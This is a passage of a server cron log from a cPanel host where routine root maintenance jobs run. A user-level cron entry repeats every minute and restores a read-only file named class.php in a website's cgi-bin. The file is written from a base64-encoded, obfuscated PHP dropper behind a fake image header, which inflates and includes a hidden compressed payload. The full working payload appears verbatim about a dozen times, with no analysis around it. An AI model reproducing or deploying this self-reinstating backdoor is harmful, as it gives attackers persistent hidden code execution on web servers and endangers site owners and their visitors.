Sep  7 10:56:01 server CROND[9482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:56:01 server CROND[9483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:56:01 server CROND[9484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:57:01 server CROND[9875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:57:01 server CROND[9876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:57:01 server CROND[9878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:57:01 server CROND[9877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:58:01 server CROND[10424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:58:01 server CROND[10425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:58:01 server CROND[10426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:59:01 server CROND[10818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:59:01 server CROND[10820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:59:01 server CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:00:01 server CROND[11214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:00:01 server CROND[11216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:00:01 server CROND[11217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:00:01 server CROND[11222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:00:01 server CROND[11223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:00:01 server CROND[11226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:00:01 server CROND[11230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:00:01 server CROND[11229]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:00:01 server CROND[11232]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 11:01:01 server CROND[12075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:01:01 server CROND[12077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:01:01 server CROND[12076]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 11:01:01 server CROND[12078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:01:01 server run-parts(/etc/cron.hourly)[12076]: starting 0anacron
Sep  7 11:01:01 server run-parts(/etc/cron.hourly)[12096]: finished 0anacron
Sep  7 11:02:01 server CROND[12509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:02:01 server CROND[12510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:02:01 server CROND[12511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:03:01 server CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:03:01 server CROND[13059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:03:01 server CROND[13060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:04:01 server CROND[13461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:04:01 server CROND[13462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:04:01 server CROND[13464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:05:01 server CROND[13861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:05:01 server CROND[13863]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 11:05:01 server CROND[13864]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:05:01 server CROND[13865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:05:01 server CROND[13869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:05:01 server CROND[13871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:05:01 server CROND[13867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:05:01 server CROND[13872]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:05:01 server CROND[13866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:06:01 server CROND[14728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:06:01 server CROND[14729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:06:01 server CROND[14730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:07:01 server CROND[15110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:07:01 server CROND[15111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:07:01 server CROND[15112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
